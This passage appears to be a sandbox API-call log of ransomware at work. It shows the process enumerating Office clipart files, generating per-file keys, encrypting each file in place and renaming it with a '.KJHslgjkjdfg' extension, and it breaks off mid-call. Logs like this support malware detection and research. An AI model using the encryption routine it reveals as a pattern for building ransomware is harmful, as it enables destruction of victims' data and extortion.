[0193.243] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.245] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.245] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.245] GetProcessHeap () returned 0x990000 [0193.245] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.245] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.245] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.245] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.245] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.245] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.245] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.246] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.246] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.246] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1204, lpOverlapped=0x0) returned 1 [0193.247] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1210, dwBufLen=0x1210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1210) returned 1 [0193.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.247] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1210, lpOverlapped=0x0) returned 1 [0193.247] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.247] SetEndOfFile (hFile=0x130) returned 1 [0193.248] GetProcessHeap () returned 0x990000 [0193.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.248] GetProcessHeap () returned 0x990000 [0193.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.kjhslgjkjdfg")) returned 1 [0193.249] CloseHandle (hObject=0x130) returned 1 [0193.249] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0193.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.250] GetProcessHeap () returned 0x990000 [0193.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.250] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.250] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.253] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.253] GetProcessHeap () returned 0x990000 [0193.253] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.253] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.253] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.253] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.253] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.253] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.254] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.254] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x274c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x274c, lpOverlapped=0x0) returned 1 [0193.255] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2750, dwBufLen=0x2750 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2750) returned 1 [0193.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.255] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2750, lpOverlapped=0x0) returned 1 [0193.255] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.255] SetEndOfFile (hFile=0x130) returned 1 [0193.258] GetProcessHeap () returned 0x990000 [0193.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.258] GetProcessHeap () returned 0x990000 [0193.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.kjhslgjkjdfg")) returned 1 [0193.260] CloseHandle (hObject=0x130) returned 1 [0193.260] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0193.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.261] GetProcessHeap () returned 0x990000 [0193.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.261] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.261] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.263] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.263] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.263] GetProcessHeap () returned 0x990000 [0193.263] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.263] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.263] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.263] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.264] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.264] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.264] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.264] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.264] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.264] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.264] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16b4, lpOverlapped=0x0) returned 1 [0193.265] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16c0) returned 1 [0193.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.265] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16c0, lpOverlapped=0x0) returned 1 [0193.266] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.266] SetEndOfFile (hFile=0x130) returned 1 [0193.268] GetProcessHeap () returned 0x990000 [0193.268] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.268] GetProcessHeap () returned 0x990000 [0193.268] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.kjhslgjkjdfg")) returned 1 [0193.269] CloseHandle (hObject=0x130) returned 1 [0193.269] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0193.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.270] GetProcessHeap () returned 0x990000 [0193.270] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.270] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.270] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.273] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.273] GetProcessHeap () returned 0x990000 [0193.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.273] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.273] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.273] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.273] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.274] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.274] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.274] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5bfc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5bfc, lpOverlapped=0x0) returned 1 [0193.275] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c00, dwBufLen=0x5c00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c00) returned 1 [0193.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.275] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c00, lpOverlapped=0x0) returned 1 [0193.276] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.276] SetEndOfFile (hFile=0x130) returned 1 [0193.278] GetProcessHeap () returned 0x990000 [0193.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.278] GetProcessHeap () returned 0x990000 [0193.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.kjhslgjkjdfg")) returned 1 [0193.280] CloseHandle (hObject=0x130) returned 1 [0193.280] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0193.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.282] GetProcessHeap () returned 0x990000 [0193.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.282] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.282] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.284] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.284] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.284] GetProcessHeap () returned 0x990000 [0193.284] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.284] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.284] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.285] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.285] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.285] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, 